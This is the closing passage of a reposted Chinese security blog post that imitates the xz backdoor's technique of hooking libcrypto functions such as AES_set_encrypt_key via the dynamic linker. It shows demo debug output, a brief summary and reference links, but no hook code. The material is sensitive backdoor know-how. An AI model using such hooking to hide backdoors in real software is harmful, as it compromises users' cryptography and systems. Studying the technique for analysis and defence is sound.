name = /lib/x86_64-linux-gnu/libcrypto.so.3, addr = 0x7f1e9a92f000, ld addr = 0x7f1e9ad6c8a0
success get elf link_map = 0x7f1e9adbb2e0
Symbol _rtld_global_ro found at address 0x7f1e9adb9ae0
do install_hook, sym_name = AES_set_encrypt_key
do install_hook, sym_name = calloc
do install_hook, sym_name = free
do install_hook, sym_name = malloc
do install_hook, sym_name = realloc
This is foo2
do hook_aes_func
length = 128

通过将 AES_set_encrypt_key 函数替换为 hook_aes_func 函数,模拟 xz 后门中挂钩的逻辑。

将xz后门隐藏技术为我所用

总结

将xz后门隐藏技术为我所用

本文测试的演示代码根据 xz 后门的原理进行了简化。xz 后门代码的复杂性远远高于上述演示。除了 lzma_alloc 函数之外,xz 后门不依赖于任何其他库函数。它完全是自我实现的,例如反汇编代码段、匹配 dl_audit 地址,这涉及到大量的工作。尽管理解其原理,但实现它仍然需要相当大的努力。

参考链接:

  1. https://chromium.googlesource.com/chromium/deps/xz/+/dd8415469606fe7bfdc2ebc12b8457b912ede326/doc/examples/01_compress_easy.c

  2. https://gist.github.com/q3k/af3d93b6a1f399de28fe194add452d01

  3. https://gist.github.com/q3k/3fadc5ce7b8001d550cf553cfdc09752

  4. https://github.com/binarly-io/binary-risk-intelligence/tree/master/xz-backdoor

将xz后门隐藏技术为我所用

点个在看你最好看

将xz后门隐藏技术为我所用

原文始发于微信公众号(二进制空间安全):将xz后门隐藏技术为我所用

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月13日01:08:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   将xz后门隐藏技术为我所用https://cn-sec.com/archives/2733750.html

发表评论

匿名网友 填写信息